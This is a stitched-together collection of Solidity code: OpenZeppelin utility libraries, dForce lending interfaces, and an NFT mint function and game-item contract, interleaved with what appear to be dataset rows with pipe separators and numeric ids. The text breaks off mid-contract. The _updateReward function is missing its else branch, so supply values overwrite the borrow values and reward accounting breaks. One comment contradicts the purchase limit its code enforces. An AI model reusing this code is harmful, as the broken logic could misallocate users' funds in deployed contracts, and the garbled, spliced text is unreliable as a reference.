* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title dForce Lending Protocol's InterestRateModel Interface.
* @author dForce Team.
*/
interface IInterestRateModelInterface {
function isInterestRateModel() external view returns (bool);
/**
* @dev Calculates the current borrow interest rate per block.
* @param cash The total amount of cash the market has.
* @param borrows The total amount of borrows the market has.
* @param reserves The total amnount of reserves the market has.
* @return The borrow rate per block (as a percentage, and scaled by 1e18).
*/
function getBorrowRate(
uint256 cash,
uint256 borrows,
uint256 reserves
) external view returns (uint256);
/**
* @dev Calculates the current supply interest rate per block.
* @param cash The total amount of cash the market has.
* @param borrows The total amount of borrows the market has.
* @param reserves The total amnount of reserves the market has.
* @param reserveRatio The current reserve factor the market has.
* @return The supply rate per block (as a percentage, and scaled by 1e18).
*/
function getSupplyRate(
uint256 cash,
uint256 borrows,
uint256 reserves,
uint256 reserveRatio
) external view returns (uint256);
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IControllerAdminInterface {
/// @notice Emitted when an admin supports a market
event MarketAdded(
address iToken,
uint256 collateralFactor,
uint256 borrowFactor,
uint256 supplyCapacity,
uint256 borrowCapacity,
uint256 distributionFactor
);
function _addMarket(
address _iToken,
uint256 _collateralFactor,
uint256 _borrowFactor,
uint256 _supplyCapacity,
uint256 _borrowCapacity,
uint256 _distributionFactor
) external;
/// @notice Emitted when new price oracle is set
event NewPriceOracle(address oldPriceOracle, address newPriceOracle);
function _setPriceOracle(address newOracle) external;
/// @notice Emitted when close factor is changed by admin
event NewCloseFactor(
uint256 oldCloseFactorMantissa,
uint256 newCloseFactorMantissa
);
function _setCloseFactor(uint256 newCloseFactorMantissa) external;
/// @notice Emitted when liquidation incentive is changed by admin
event NewLiquidationIncentive(
uint256 oldLiquidationIncentiveMantissa,
uint256 newLiquidationIncentiveMantissa
);
function _setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa)
external;
/// @notice Emitted when iToken's collateral factor is changed by admin
event NewCollateralFactor(
address iToken,
uint256 oldCollateralFactorMantissa,
uint256 newCollateralFactorMantissa
);
function _setCollateralFactor(
address iToken,
uint256 newCollateralFactorMantissa
) external;
/// @notice Emitted when iToken's borrow factor is changed by admin
event NewBorrowFactor(
address iToken,
uint256 oldBorrowFactorMantissa,
uint256 newBorrowFactorMantissa
);
function _setBorrowFactor(address iToken, uint256 newBorrowFactorMantissa)
external;
/// @notice Emitted when iToken's borrow capacity is changed by admin
event NewBorrowCapacity(
address iToken,
uint256 oldBorrowCapacity,
uint256 newBorrowCapacity
);
function _setBorrowCapacity(address iToken, uint256 newBorrowCapacity)
external;
/// @notice Emitted when iToken's supply capacity is changed by admin
event NewSupplyCapacity(
address iToken,
uint256 oldSupplyCapacity,
uint256 newSupplyCapacity
);
function _setSupplyCapacity(address iToken, uint256 newSupplyCapacity)
external;
/// @notice Emitted when pause guardian is changed by admin
event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian);
function _setPauseGuardian(address newPauseGuardian) external;
/// @notice Emitted when mint is paused/unpaused by admin or pause guardian
event MintPaused(address iToken, bool paused);
function _setMintPaused(address iToken, bool paused) external;
function _setAllMintPaused(bool paused) external;
/// @notice Emitted when redeem is paused/unpaused by admin or pause guardian
event RedeemPaused(address iToken, bool paused);
function _setRedeemPaused(address iToken, bool paused) external;
function _setAllRedeemPaused(bool paused) external;
/// @notice Emitted when borrow is paused/unpaused by admin or pause guardian
event BorrowPaused(address iToken, bool paused);
function _setBorrowPaused(address iToken, bool paused) external;
function _setAllBorrowPaused(bool paused) external;
/// @notice Emitted when transfer is paused/unpaused by admin or pause guardian
event TransferPaused(bool paused);
function _setTransferPaused(bool paused) external;
/// @notice Emitted when seize is paused/unpaused by admin or pause guardian
event SeizePaused(bool paused);
function _setSeizePaused(bool paused) external;
function _setiTokenPaused(address iToken, bool paused) external;
function _setProtocolPaused(bool paused) external;
event NewRewardDistributor(
address oldRewardDistributor,
address _newRewardDistributor
);
function _setRewardDistributor(address _newRewardDistributor) external;
}
interface IControllerPolicyInterface {
function beforeMint(
address iToken,
address account,
uint256 mintAmount
) external;
function afterMint(
address iToken,
address minter,
uint256 mintAmount,
uint256 mintedAmount
) external;
function beforeRedeem(
address iToken,
address redeemer,
uint256 redeemAmount
) external;
function afterRedeem(
address iToken,
address redeemer,
uint256 redeemAmount,
uint256 redeemedAmount
) external;
function beforeBorrow(
address iToken,
address borrower,
uint256 borrowAmount
) external;
function afterBorrow(
address iToken,
address borrower,
uint256 borrowedAmount
) external;
function beforeRepayBorrow(
address iToken,
address payer,
address borrower,
uint256 repayAmount
) external;
function afterRepayBorrow(
address iToken,
address payer,
address borrower,
uint256 repayAmount
) external;
function beforeLiquidateBorrow(
address iTokenBorrowed,
address iTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount
) external;
function afterLiquidateBorrow(
address iTokenBorrowed,
address iTokenCollateral,
address liquidator,
address borrower,
uint256 repaidAmount,
uint256 seizedAmount
) external;
function beforeSeize(
address iTokenBorrowed,
address iTokenCollateral,
address liquidator,
address borrower,
uint256 seizeAmount
) external;
function afterSeize(
address iTokenBorrowed,
address iTokenCollateral,
address liquidator,
address borrower,
uint256 seizedAmount
) external;
function beforeTransfer(
address iToken,
address from,
address to,
uint256 amount
) external;
function afterTransfer(
address iToken,
address from,
address to,
uint256 amount
) external;
function beforeFlashloan(
address iToken,
address to,
uint256 amount
) external;
function afterFlashloan(
address iToken,
address to,
uint256 amount
) external;
}
interface IControllerAccountEquityInterface {
function calcAccountEquity(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function liquidateCalculateSeizeTokens(
address iTokenBorrowed,
address iTokenCollateral,
uint256 actualRepayAmount
) external view returns (uint256);
}
interface IControllerAccountInterface {
function hasEnteredMarket(address account, address iToken)
external
view
returns (bool);
function getEnteredMarkets(address account)
external
view
returns (address[] memory);
/// @notice Emitted when an account enters a market
event MarketEntered(address iToken, address account);
function enterMarkets(address[] calldata iTokens)
external
returns (bool[] memory);
function enterMarketFromiToken(address _account) external;
/// @notice Emitted when an account exits a market
event MarketExited(address iToken, address account);
function exitMarkets(address[] calldata iTokens)
external
returns (bool[] memory);
/// @notice Emitted when an account add a borrow asset
event BorrowedAdded(address iToken, address account);
/// @notice Emitted when an account remove a borrow asset
event BorrowedRemoved(address iToken, address account);
function hasBorrowed(address account, address iToken)
external
view
returns (bool);
function getBorrowedAssets(address account)
external
view
returns (address[] memory);
}
interface IControllerInterface is
IControllerAdminInterface,
IControllerPolicyInterface,
IControllerAccountEquityInterface,
IControllerAccountInterface
{
/**
* @notice Security checks when updating the comptroller of a market, always expect to return true.
*/
function isController() external view returns (bool);
/**
* @notice Return all of the iTokens
* @return The list of iToken addresses
*/
function getAlliTokens() external view returns (address[] memory);
/**
* @notice Check whether a iToken is listed in controller
* @param _iToken The iToken to check for
* @return true if the iToken is listed otherwise false
*/
function hasiToken(address _iToken) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IRewardDistributor {
function _setRewardToken(address newRewardToken) external;
/// @notice Emitted reward token address is changed by admin
event NewRewardToken(address oldRewardToken, address newRewardToken);
function _addRecipient(address _iToken, uint256 _distributionFactor)
external;
event NewRecipient(address iToken, uint256 distributionFactor);
/// @notice Emitted when mint is paused/unpaused by admin
event Paused(bool paused);
function _pause() external;
function _unpause(uint256 _borrowSpeed, uint256 _supplySpeed) external;
/// @notice Emitted when Global Distribution speed for both supply and borrow are updated
event GlobalDistributionSpeedsUpdated(
uint256 borrowSpeed,
uint256 supplySpeed
);
function _setGlobalDistributionSpeeds(
uint256 borrowSpeed,
uint256 supplySpeed
) external;
/// @notice Emitted when iToken's Distribution speed is updated
event DistributionSpeedsUpdated(
address iToken,
uint256 borrowSpeed,
uint256 supplySpeed
);
function updateDistributionSpeed() external;
/// @notice Emitted when iToken's Distribution factor is changed by admin
event NewDistributionFactor(
address iToken,
uint256 oldDistributionFactorMantissa,
uint256 newDistributionFactorMantissa
);
function _setDistributionFactors(
address[] calldata iToken,
uint256[] calldata distributionFactors
) external;
function updateDistributionState(address _iToken, bool _isBorrow) external;
function updateReward(
address _iToken,
address _account,
bool _isBorrow
) external;
function updateRewardBatch(
address[] memory _holders,
address[] memory _iTokens
) external;
function claimReward(address[] memory _holders, address[] memory _iTokens)
external;
function claimAllReward(address[] memory _holders) external;
/// @notice Emitted when reward of amount is distributed into account
event RewardDistributed(
address iToken,
address account,
uint256 amount,
uint256 accountIndex
);
}
| Update the account state to date Update the account state to date | function _updateReward(
address _iToken,
address _account,
bool _isBorrow
) internal {
require(_account != address(0), "Invalid account address!");
require(controller.hasiToken(_iToken), "Token has not been listed");
uint256 _iTokenIndex;
uint256 _accountIndex;
uint256 _accountBalance;
if (_isBorrow) {
_iTokenIndex = distributionBorrowState[_iToken].index;
_accountIndex = distributionBorrowerIndex[_iToken][_account];
_accountBalance = IiToken(_iToken)
.borrowBalanceStored(_account)
.rdiv(IiToken(_iToken).borrowIndex());
distributionBorrowerIndex[_iToken][_account] = _iTokenIndex;
_iTokenIndex = distributionSupplyState[_iToken].index;
_accountIndex = distributionSupplierIndex[_iToken][_account];
_accountBalance = IERC20Upgradeable(_iToken).balanceOf(_account);
distributionSupplierIndex[_iToken][_account] = _iTokenIndex;
}
uint256 _deltaIndex = _iTokenIndex.sub(_accountIndex);
uint256 _amount = _accountBalance.rmul(_deltaIndex);
if (_amount > 0) {
reward[_account] = reward[_account].add(_amount);
emit RewardDistributed(_iToken, _account, _amount, _accountIndex);
}
}
| 1,318,004 |
./full_match/4/0x14EbcE2319E93B94726a0A53fb901E06B729b103/sources/contracts/MaskedMeerkat.sol | 6667 meerkats available for the general sale/ general sale has no wallet limit, transaction limit = 3 | function generalSale(uint8 _num) external payable {
require(
block.timestamp >= pledgeTime,
"Pledge has not yet started!"
);
require(
(_num + pledgeNumOfPlayer[msg.sender] ) <= 5,
"Each address can only purchase up to 5 Meerkats per tx"
);
require(
totalMint + uint256(_num) <= maxSupply - totalMeerkatSupply,
"Sorry all Meerkats are sold out!"
);
require(
msg.value == uint256(_num) * price,
"You need to pay the exact price."
);
_mintList(_num);
claimed[msg.sender] += pledgeNumOfPlayer[msg.sender];
pledgeNumOfPlayer[msg.sender] = 0;
totalMeerkatSupply += uint256(_num);
}
| 752,413 |
pragma solidity ^0.5.9;
import "./DelightKnightItemInterface.sol";
import "./Standard/ERC721.sol";
import "./Standard/ERC721TokenReceiver.sol";
import "./Util/SafeMath.sol";
contract DelightKnightItem is DelightKnightItemInterface, ERC721 {
using SafeMath for uint;
// The two addresses below are the addresses of the trusted smart contract, and don't need to be allowed.
// 아래 두 주소는 신뢰하는 스마트 계약의 주소로 허락받을 필요가 없습니다.
// Delight item manager's address
// Delight 아이템 관리자 주소
address public delightItemManager;
// The address of DPlay trading post
// DPlay 교역소 주소
address public dplayTradingPost;
constructor(address _dplayTradingPost) public {
dplayTradingPost = _dplayTradingPost;
// The address 0 is not used.
// 0번지는 사용하지 않습니다.
items.push(KnightItem({
hp : 0,
damage : 0,
buffHP : 0,
buffDamage : 0
}));
// Hephaestus' Hammer
createItem(KnightItem({
hp : 200,
damage : 50,
buffHP : 10,
buffDamage : 10
}));
// Greek Shield
createItem(KnightItem({
hp : 500,
damage : 30,
buffHP : 10,
buffDamage : 10
}));
// Undead's Sword
createItem(KnightItem({
hp : 200,
damage : 200,
buffHP : 0,
buffDamage : 20
}));
// Mace
createItem(KnightItem({
hp : 100,
damage : 50,
buffHP : 30,
buffDamage : 5
}));
// Glass Sword
createItem(KnightItem({
hp : 50,
damage : 350,
buffHP : 10,
buffDamage : 15
}));
// Slaughter
createItem(KnightItem({
hp : 100,
damage : 400,
buffHP : 25,
buffDamage : 0
}));
// Hel's Scythe
createItem(KnightItem({
hp : 0,
damage : 1500,
buffHP : 0,
buffDamage : 0
}));
// Laevateinn
createItem(KnightItem({
hp : 200,
damage : 100,
buffHP : 10,
buffDamage : 15
}));
// Crescent Spear
createItem(KnightItem({
hp : 200,
damage : 200,
buffHP : 30,
buffDamage : 5
}));
// Traitor Hero's Straight Sword
createItem(KnightItem({
hp : 2000,
damage : 40,
buffHP : 0,
buffDamage : 0
}));
// Rapier
createItem(KnightItem({
hp : 0,
damage : 100,
buffHP : 0,
buffDamage : 30
}));
// Hermes' Staff
createItem(KnightItem({
hp : 0,
damage : 0,
buffHP : 80,
buffDamage : 0
}));
// Ymir's Fragment
createItem(KnightItem({
hp : 500,
damage : 120,
buffHP : 25,
buffDamage : 10
}));
// Bone Axe of Typhon
createItem(KnightItem({
hp : 230,
damage : 200,
buffHP : 25,
buffDamage : 10
}));
// Hector's Sword
createItem(KnightItem({
hp : 400,
damage : 150,
buffHP : 0,
buffDamage : 25
}));
// Tyr's Claw
createItem(KnightItem({
hp : 200,
damage : 900,
buffHP : 25,
buffDamage : 0
}));
// Jormungand's Canine
createItem(KnightItem({
hp : 260,
damage : 350,
buffHP : 25,
buffDamage : 15
}));
// Kronos' Two Handed Axe
createItem(KnightItem({
hp : 1250,
damage : 140,
buffHP : 40,
buffDamage : 0
}));
// Titan Sword
createItem(KnightItem({
hp : 500,
damage : 150,
buffHP : 30,
buffDamage : 15
}));
// Sword of Valhalla
createItem(KnightItem({
hp : 50,
damage : 300,
buffHP : 5,
buffDamage : 30
}));
// Ancient God's Sword
createItem(KnightItem({
hp : 200,
damage : 155,
buffHP : 40,
buffDamage : 15
}));
// Triaina
createItem(KnightItem({
hp : 100,
damage : 500,
buffHP : 20,
buffDamage : 20
}));
// Helios' Sun Hammer
createItem(KnightItem({
hp : 1000,
damage : 40,
buffHP : 45,
buffDamage : 5
}));
// Heimdallr's Sword
createItem(KnightItem({
hp : 330,
damage : 840,
buffHP : 35,
buffDamage : 5
}));
// Gungnir
createItem(KnightItem({
hp : 500,
damage : 700,
buffHP : 5,
buffDamage : 20
}));
// Mistilteinn
createItem(KnightItem({
hp : 50,
damage : 1100,
buffHP : 35,
buffDamage : 0
}));
// Song of the Cherry Blossoms
createItem(KnightItem({
hp : 360,
damage : 190,
buffHP : 0,
buffDamage : 40
}));
// Oceanus' Axe
createItem(KnightItem({
hp : 560,
damage : 90,
buffHP : 80,
buffDamage : 0
}));
// Tyrfing
createItem(KnightItem({
hp : 300,
damage : 250,
buffHP : 60,
buffDamage : 10
}));
// Skull
createItem(KnightItem({
hp : 400,
damage : 200,
buffHP : 40,
buffDamage : 20
}));
}
function setDelightItemManagerOnce(address addr) external {
// The address has to be empty.
// 비어있는 주소인 경우에만
require(delightItemManager == address(0));
delightItemManager = addr;
}
// Knight item information
// 기사 아이템 정보
struct KnightItem {
uint hp;
uint damage;
uint buffHP;
uint buffDamage;
}
KnightItem[] private items;
mapping(uint => address) public itemIdToOwner;
mapping(address => uint[]) public ownerToItemIds;
mapping(uint => uint) internal itemIdToItemIdsIndex;
mapping(uint => address) private itemIdToApproved;
mapping(address => mapping(address => bool)) private ownerToOperatorToIsApprovedForAll;
// 아이템을 생성합니다.
function createItem(KnightItem memory item) private {
uint itemId = items.push(item).sub(1);
itemIdToOwner[itemId] = msg.sender;
itemIdToItemIdsIndex[itemId] = ownerToItemIds[msg.sender].push(itemId).sub(1);
emit Transfer(address(0), msg.sender, itemId);
}
modifier onlyOwnerOf(uint itemId) {
require(msg.sender == ownerOf(itemId));
_;
}
modifier onlyApprovedOf(uint itemId) {
require(
msg.sender == ownerOf(itemId) ||
msg.sender == getApproved(itemId) ||
isApprovedForAll(ownerOf(itemId), msg.sender) == true ||
msg.sender == delightItemManager ||
msg.sender == dplayTradingPost
);
_;
}
//ERC721: Gets the number of items.
